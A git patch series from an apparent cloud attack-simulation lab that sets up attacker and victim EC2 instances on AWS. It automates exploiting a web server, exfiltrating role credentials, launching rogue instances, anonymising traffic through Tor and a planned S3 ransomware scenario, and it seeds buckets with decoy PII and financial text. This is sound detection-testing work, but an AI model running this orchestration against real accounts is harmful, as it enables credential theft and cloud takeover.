KEY_PAIR_NAME = data["Key Pair Name"] + REGION = data["Region"] + INSTANCE_NAME = 'Cobra-Anomalous' + print("Web Server Public IP: ", WEB_SERVER_PUBLIC_IP) + + notify('Running exploit on Remote Web Server') + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./files/var/ssh/id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'sudo python3 exploit.py "+WEB_SERVER_PUBLIC_IP+" > /home/ubuntu/.aws/credentials'", shell=True) + + notify('Initiate EC2 takeover, got Shell Access') + notify('Exfiltrate Node Role Credentials and loading Creds in Attackers Machine') + notify('Role Details') + + subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./files/var/ssh/id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'aws sts get-caller-identity'", shell=True) + + notify('Anomalous Infra Rollout') + aws_command = ( + f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} --tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' | jq -r '.Instances[].InstanceId'" + ) + # Construct the full SSH command with jq and xargs + ssh_command = (f"ssh -o StrictHostKeyChecking=accept-new -i ./files/var/ssh/id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{aws_command}\" ") + + # Execute the command + try: + instance_id = subprocess.check_output(ssh_command, shell=True, text=True) + print(instance_id) + except subprocess.CalledProcessError as e: + print(f"Command failed with error: {e}") + + # TODO: should "unmanaged" resources be added via pulumi import somehow? See infra/extra.py + # subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress > /dev/null 2>&1", shell=True) + + # TODO: only return true if attack succeeded? + return True diff --git a/scenarios_ng/scenario_1/infra/__init__.py b/scenarios_ng/scenario_1/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_1/infra/extra.py b/scenarios_ng/scenario_1/infra/extra.py new file mode 100644 index 0000000..3a046f3 --- /dev/null +++ b/scenarios_ng/scenario_1/infra/extra.py @@ -0,0 +1,17 @@ +import boto3 + + +def deploy_additional_resources(): + pass + + +def destroy_additional_resources(data): + # TODO: previously this was "imported" into the Pulumi stack using pulumi + # command line invocation (via subprocess) and thus could be deleted by + # destroying the stack. TODO is to figure out how to do this without + # subprocess and not need this additional code. + INSTANCE_NAME = 'Cobra-Anomalous' + ec2_client = boto3.client('ec2', region_name=data['Region']) + instances = ec2_client.describe_instances(Filters=[{'Name': 'tag:Name', 'Values': [INSTANCE_NAME]}]) + instance_id = [i for i in instances['Reservations'][0]['Instances']][0]['InstanceId'] + ec2_client.terminate_instances(InstanceIds=[instance_id]) diff --git a/scenarios_ng/scenario_1/infra/stack/Pulumi.yaml b/scenarios_ng/scenario_1/infra/stack/Pulumi.yaml new file mode 100644 index 0000000..ef0523d --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/Pulumi.yaml @@ -0,0 +1,3 @@ +name: cobra +runtime: + name: python diff --git a/scenarios_ng/scenario_1/infra/stack/__main__.py b/scenarios_ng/scenario_1/infra/stack/__main__.py new file mode 100644 index 0000000..32a70c8 --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/__main__.py @@ -0,0 +1,181 @@ +import base64 +from pathlib import Path + +import pulumi +import pulumi_aws as aws + + +def read_public_key(pub_key_path): + # Read the public key from the file + with open(pub_key_path, "r") as f: + public_key = f.read().strip() + return public_key + + +# FIXME: use helper function to get files path instead of parent*5 +key_path = Path(__file__).parent.parent.parent.parent.parent / 'files' / 'var' / 'ssh' / 'id_rsa.pub' +# User data script to be executed when the instance starts +# TODO: OS-independent path traversal +user_data_path = './data/user_data_1.sh' +with open(user_data_path, 'rb') as f: + user_data_script = base64.b64encode(f.read()) + +# Attacker Machine User Script +user_data_path = './data/user_data_2.sh' +with open(user_data_path, 'rb') as f: + user_data_script_1 = base64.b64encode(f.read()) + +# import sys;sys.exit() + +current = aws.get_region() + +key_pair = aws.ec2.KeyPair('my-key-pair', public_key=read_public_key(key_path)) + +ubuntu_ami = aws.ec2.get_ami( + filters=[ + aws.ec2.GetAmiFilterArgs( + name="name", + values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], + ), + aws.ec2.GetAmiFilterArgs( + name="virtualization-type", + values=["hvm"], + ), + ], + owners=["099720109477"], + most_recent=True, +) + +# Create an IAM role for EC2 instance +role = aws.iam.Role( + "ec2-role", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +# Attach a policy to the role allowing necessary permissions +policy = aws.iam.RolePolicy( + "ec2-role-policy", + role=role.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "s3:*", + "cloudwatch:*", + "ecr:GetAuthorizationToken", + "ecr:BatchCheckLayerAvailability", + "ecr:GetDownloadUrlForLayer", + "ecr:BatchGetImage", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:PassRole", + "iam:ListAttachedUserPolicies", + "iam:GetRole", + "iam:GetRolePolicy", + "ec2:DescribeInstances", + "ec2:CreateKeyPair", + "ec2:RunInstances", + "ec2:TerminateInstances", + "ec2:CreateTags", + "iam:ListRoles", + "iam:ListInstanceProfiles", + "iam:ListAttachedRolePolicies", + "iam:GetPolicyVersion", + "iam:GetPolicy", + "ec2:AssociateIamInstanceProfile" + ], + "Resource": "*" + } + ] + }""" +) + +sg = aws.ec2.SecurityGroup( + "web-sg", + ingress=[ + { + "protocol": "tcp", + "fromPort": 8080, + "toPort": 8080, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 80, + "toPort": 80, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 22, + "toPort": 22, + "cidrBlocks": ["0.0.0.0/0"] + } + ], + egress=[{ + "protocol": "-1", + "fromPort": 0, + "toPort": 0, + "cidrBlocks": ["0.0.0.0/0"] + }] +) + +instance_profile = aws.iam.InstanceProfile( + "my-instance-profile", + role=role.name +) + +# Create an EC2 instance with user data +instance = aws.ec2.Instance( + "web-server", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile.name, + security_groups=[sg.name], + user_data=user_data_script.decode(), + tags={ + "Name": "Cobra-Webserver" + } +) + +instance1 = aws.ec2.Instance( + "attacker-server", + instance_type="t2.micro", + ami=ubuntu_ami.id, + security_groups=[sg.name], + user_data=user_data_script_1.decode(), + key_name=key_pair.key_name, + tags={ + "Name": "Cobra-Attacker" + } +) + +# Export Pulmui outputs +print("Web Server Public IP") +pulumi.export("Web Server Public IP", instance.public_ip) +print("Attacker Server Public IP") +pulumi.export("Attacker Server Public IP", instance1.public_ip) +pulumi.export("role_name", role.name) +pulumi.export("policy_name", policy.name) +pulumi.export("security_group_name", sg.name) +pulumi.export("instance_profile_name", instance_profile.name) +print("Web Server Instance ID") +pulumi.export("Web Server Instance ID", instance.id) +print("Attacker Server Instance ID") +pulumi.export("Attacker Server Instance ID", instance1.id) +pulumi.export("AMI ID", ubuntu_ami.id) +pulumi.export("Subnet ID", instance.subnet_id) +pulumi.export("Key Pair Name", key_pair.key_name) +pulumi.export("Region", current.name) diff --git a/scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh b/scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh new file mode 100644 index 0000000..b2e64fd --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh @@ -0,0 +1,16 @@ +#!/bin/bash +sudo apt update -y +sudo apt install docker.io -y +sudo apt install python3-pip -y +sudo pip3 install aws-export-credentials +sudo pip3 install awscli +sudo systemctl start docker +sudo systemctl enable docker +sudo apt install unzip +sudo systemctl start docker +sudo systemctl enable docker +sudo systemctl stop tomcat9.service +sudo apt install docker-compose -y +wget https://lab-files-00ffaabcc.s3.amazonaws.com/pulumi/app.zip -P /home/ubuntu/ +cd /home/ubuntu/ && unzip /home/ubuntu/app.zip +sudo docker-compose -f /home/ubuntu/app/docker-compose.yml up --build -d diff --git a/scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh b/scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh new file mode 100644 index 0000000..50e195b --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh @@ -0,0 +1,24 @@ +#!/bin/bash +sudo apt update -y +sudo apt install python3-pip -y +sudo apt install awscli -y +sudo apt install git -y +sudo pip3 install bs4 +sudo apt install jq -y +sudo pip3 install packaging + +wget https://lab-files-00ffaabcc.s3.amazonaws.com/pulumi/exploit.py -P /home/ubuntu +chmod +x /home/ubuntu/exploit.py +chown ubuntu:ubuntu /home/ubuntu/exploit.py + +cd /home/ubuntu/ +git clone https://github.com/SusmithKrishnan/torghost.git +mkdir /home/ubuntu/.aws/ +touch /home/ubuntu/.aws/credentials +chown -R ubuntu:ubuntu /home/ubuntu/.aws/ + + +cd /home/ubuntu/torghost/ +sudo python3 torghost.py -s +sleep 30 +sudo python3 torghost.py -s \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/extra.py b/scenarios_ng/scenario_2/infra/extra.py index 96f1237..979bee6 100644 --- a/scenarios_ng/scenario_2/infra/extra.py +++ b/scenarios_ng/scenario_2/infra/extra.py @@ -1,8 +1,5 @@ import subprocess -from core.helpers import loading_animation -from termcolor import colored - def deploy_additional_resources(): pass @@ -10,10 +7,6 @@ def deploy_additional_resources(): def destroy_additional_resources(data): LAMBDA_ROLE_NAME = data["lambda-role-name"] - - print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) - loading_animation() - print("-"*30) # TODO: consider doing programatically via boto3 vs. subprocess subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) From 11676d45ab50bb6471d5da2790c76b67da90d202 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Mon, 26 Aug 2024 20:28:59 -0500 Subject: [PATCH 61/76] Add boto3 lib to requirements --- requirements.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/requirements.txt b/requirements.txt index 5b7afe9..8522a6a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,7 @@ Arpeggio==2.0.2 attrs==23.2.0 +boto3==1.34.149 +botocore==1.34.149 dill==0.3.8 grpcio==1.60.1 parver==0.5 From bdaa65676e11b3b97d01694396c1ae5d3f1f61ea Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Mon, 15 Jul 2024 11:18:32 +0530 Subject: [PATCH 62/76] Scenario 5 init --- scenarios/scenario_5/scenario_5.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 scenarios/scenario_5/scenario_5.py diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py new file mode 100644 index 0000000..e69de29 From d3867ac4d1368281eedea29fa488cb561e8607b4 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Mon, 15 Jul 2024 12:07:26 +0530 Subject: [PATCH 63/76] infra updates scen 5 --- scenarios/scenario_5/infra/Pulumi.yaml | 12 ++ scenarios/scenario_5/infra/__main__.py | 151 +++++++++++++++++++++++++ scenarios/scenario_5/scenario_5.py | 34 ++++++ 3 files changed, 197 insertions(+) create mode 100644 scenarios/scenario_5/infra/Pulumi.yaml create mode 100644 scenarios/scenario_5/infra/__main__.py diff --git a/scenarios/scenario_5/infra/Pulumi.yaml b/scenarios/scenario_5/infra/Pulumi.yaml new file mode 100644 index 0000000..e43781b --- /dev/null +++ b/scenarios/scenario_5/infra/Pulumi.yaml @@ -0,0 +1,12 @@ +name: infra +runtime: + name: python + +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + + + diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py new file mode 100644 index 0000000..1685388 --- /dev/null +++ b/scenarios/scenario_5/infra/__main__.py @@ -0,0 +1,151 @@ +import pulumi +import pulumi_aws as aws +import os +import sys +import subprocess + +def read_public_key(pub_key_path): + with open(pub_key_path, "r") as f: + public_key = f.read().strip() + + return public_key + +current = aws.get_region() + +key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) + +ubuntu_ami = aws.ec2.get_ami( + filters=[ + aws.ec2.GetAmiFilterArgs( + name="name", + values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], + ), + aws.ec2.GetAmiFilterArgs( + name="virtualization-type", + values=["hvm"], + ), + ], + owners=["099720109477"], + most_recent=True, + +) + +# Create an IAM role for EC2 instance +role = aws.iam.Role("ec2-role", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +# Attach a policy to the role allowing necessary permissions +policy = aws.iam.RolePolicy("ec2-role-policy", + role=role.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "ec2:StartInstances", + "ec2:StopInstances", + "ec2:ModifyInstanceAttribute" + + ], + "Resource": "*" + } + ] + }""" +) + +sg = aws.ec2.SecurityGroup("web-sg", + ingress=[ + { + "protocol": "tcp", + "fromPort": 8000, + "toPort": 8000, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 22, + "toPort": 22, + "cidrBlocks": ["0.0.0.0/0"] + } + ], + egress=[{ + "protocol": "-1", + "fromPort": 0, + "toPort": 0, + "cidrBlocks": ["0.0.0.0/0"] + }] +) + +# User data script to be executed when the instance starts +user_data_script = """ +IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS91ZWJhLWxhYi9zZXJ2ZXIucHkKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9zZXJ2ZXIucHkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNC91c2VyZGF0YS50eHQK +""" + +instance_profile = aws.iam.InstanceProfile("my-instance-profile", + role=role.name +) + +# Create an EC2 instance with user data +instance = aws.ec2.Instance("attacker", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile.name, + security_groups=[sg.name], + #user_data=user_data_script, + key_name=key_pair.key_name + +) + +s3_bucket = aws.s3.Bucket("bucket", + bucket="my-tf-test-bucket", + acl=aws.s3.CannedAcl.PRIVATE, + tags={ + "Name": "My bucket", + "Environment": "Dev", +}) + +# Export the public IP of the EC2 instance +print("Attacker Server Public IP") +pulumi.export("Attacker Server Public IP", instance.public_ip) + + +print("Attacker Server Role Name") +pulumi.export("role_name", role.name) + + +# Export the policy name +pulumi.export("policy_name", policy.name) + +# Export the security group name +pulumi.export("security_group_name", sg.name) + +# Export the instance profile name +print("Attacker Server Role") +pulumi.export("Attacker Server Role", instance_profile.name) + +# Export the instance ID +print("Attacker Server Instance ID") +pulumi.export("Attacker Server Instance ID", instance.id) + +pulumi.export("AMI ID", ubuntu_ami.id) + +pulumi.export("Subnet ID", instance.subnet_id) + +pulumi.export("Key Pair Name", key_pair.key_name) + +pulumi.export("Region", current.name) + +pulumi.export("Bucket Name", s3_bucket.name) + diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py index e69de29..12421ac 100644 --- a/scenarios/scenario_5/scenario_5.py +++ b/scenarios/scenario_5/scenario_5.py @@ -0,0 +1,34 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +from core.helpers import generate_ssh_key + +def scenario_5_execute(): + print("-"*30) + print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) + loading_animation() + print("-"*30) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + file_path = "./core/aws-scenario-5-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + generate_ssh_key() + + subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s aws-scenario-5 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s aws-scenario-5 output --json >> ../../../core/aws-scenario-5-output.json", shell=True) + From 785198f870f2a67b8884aaac8179fef04a8dfe53 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Tue, 16 Jul 2024 12:01:36 +0530 Subject: [PATCH 64/76] Infra roll out --- scenarios/scenario_5/infra/__main__.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py index 1685388..453cf62 100644 --- a/scenarios/scenario_5/infra/__main__.py +++ b/scenarios/scenario_5/infra/__main__.py @@ -3,6 +3,7 @@ import os import sys import subprocess +from pulumi_random import RandomPet def read_public_key(pub_key_path): with open(pub_key_path, "r") as f: @@ -107,13 +108,12 @@ def read_public_key(pub_key_path): key_name=key_pair.key_name ) - +bucket_suffix = RandomPet("bucketSuffix", length=2) s3_bucket = aws.s3.Bucket("bucket", - bucket="my-tf-test-bucket", + bucket=bucket_suffix.id.apply(lambda suffix: f"my-unique-bucket-{suffix}"), acl=aws.s3.CannedAcl.PRIVATE, tags={ - "Name": "My bucket", - "Environment": "Dev", + "Environment": "Dev" }) # Export the public IP of the EC2 instance @@ -147,5 +147,5 @@ def read_public_key(pub_key_path): pulumi.export("Region", current.name) -pulumi.export("Bucket Name", s3_bucket.name) +pulumi.export("Bucket Name", bucket.bucket) From 36346c5e2ed436cb75f7c71f48eb5ef1592c3355 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Tue, 16 Jul 2024 12:37:06 +0530 Subject: [PATCH 65/76] scenario 5 updates --- scenarios/scenario_5/infra/__main__.py | 12 +- scenarios/scenario_5/infra/s3_files/0_PII.txt | 1 + .../infra/s3_files/2_FinInfo_new.txt | 602 ++++++++++++++++++ .../scenario_5/infra/s3_files/2_GDPR.txt | 540 ++++++++++++++++ .../infra/s3_files/2_Healthcare.txt | 6 + .../scenario_5/infra/s3_files/2_PII_33.sh | 7 + .../infra/s3_files/2_PII_latest.txt | 3 + .../s3_files/2_wildfire-test-pe-file.exe | Bin 0 -> 55296 bytes .../infra/s3_files/IP_multiline copy.txt | 42 ++ .../infra/s3_files/Jul11_new_financial.txt | 601 +++++++++++++++++ .../infra/s3_files/Jun21_Fwd_Healthcare.txt | 3 + .../infra/s3_files/Jun27_NewFwd_PII.txt | 5 + .../infra/s3_files/May3_dataprofile.txt | 3 + .../PII_Health_IP_with_multiline.txt.txt | 242 +++++++ .../PII_Health_IP_with_multiline_v2.txt | 243 +++++++ .../infra/s3_files/s3_files/0_PII.txt | 1 + .../infra/s3_files/s3_files/2_FinInfo_new.txt | 602 ++++++++++++++++++ .../infra/s3_files/s3_files/2_GDPR.txt | 540 ++++++++++++++++ .../infra/s3_files/s3_files/2_Healthcare.txt | 6 + .../infra/s3_files/s3_files/2_PII_33.sh | 7 + .../infra/s3_files/s3_files/2_PII_latest.txt | 3 + .../s3_files/2_wildfire-test-pe-file.exe | Bin 0 -> 55296 bytes .../s3_files/s3_files/IP_multiline copy.txt | 42 ++ .../s3_files/s3_files/Jul11_new_financial.txt | 601 +++++++++++++++++ .../s3_files/Jun21_Fwd_Healthcare.txt | 3 + .../s3_files/s3_files/Jun27_NewFwd_PII.txt | 5 + .../s3_files/s3_files/May3_dataprofile.txt | 3 + .../PII_Health_IP_with_multiline.txt.txt | 242 +++++++ .../PII_Health_IP_with_multiline_v2.txt | 243 +++++++ 29 files changed, 4607 insertions(+), 1 deletion(-) create mode 100644 scenarios/scenario_5/infra/s3_files/0_PII.txt create mode 100644 scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt create mode 100644 scenarios/scenario_5/infra/s3_files/2_GDPR.txt create mode 100644 scenarios/scenario_5/infra/s3_files/2_Healthcare.txt create mode 100644 scenarios/scenario_5/infra/s3_files/2_PII_33.sh create mode 100644 scenarios/scenario_5/infra/s3_files/2_PII_latest.txt create mode 100644 scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe create mode 100644 scenarios/scenario_5/infra/s3_files/IP_multiline copy.txt create mode 100644 scenarios/scenario_5/infra/s3_files/Jul11_new_financial.txt create mode 100644 scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt create mode 100644 scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt create mode 100644 scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt create mode 100644 scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt create mode 100644 scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt create mode 100644 scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py index 453cf62..4ba1f04 100644 --- a/scenarios/scenario_5/infra/__main__.py +++ b/scenarios/scenario_5/infra/__main__.py @@ -4,6 +4,8 @@ import sys import subprocess from pulumi_random import RandomPet +import pulumi_synced_folder +from pulumi_aws import s3 def read_public_key(pub_key_path): with open(pub_key_path, "r") as f: @@ -116,6 +118,14 @@ def read_public_key(pub_key_path): "Environment": "Dev" }) +folder = pulumi_synced_folder.S3BucketFolder( + "synced-folder", + path="./s3_files", + bucket_name=s3_bucket.bucket, + acl=s3.CannedAcl.PRIVATE, +) + + # Export the public IP of the EC2 instance print("Attacker Server Public IP") pulumi.export("Attacker Server Public IP", instance.public_ip) @@ -147,5 +157,5 @@ def read_public_key(pub_key_path): pulumi.export("Region", current.name) -pulumi.export("Bucket Name", bucket.bucket) +pulumi.export("Bucket Name", s3_bucket.bucket) diff --git a/scenarios/scenario_5/infra/s3_files/0_PII.txt b/scenarios/scenario_5/infra/s3_files/0_PII.txt new file mode 100644 index 0000000..ec63106 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/0_PII.txt @@ -0,0 +1 @@ +219-42-2331 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt b/scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt new file mode 100644 index 0000000..6e07af7 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt @@ -0,0 +1,602 @@ +Q3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler. +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our 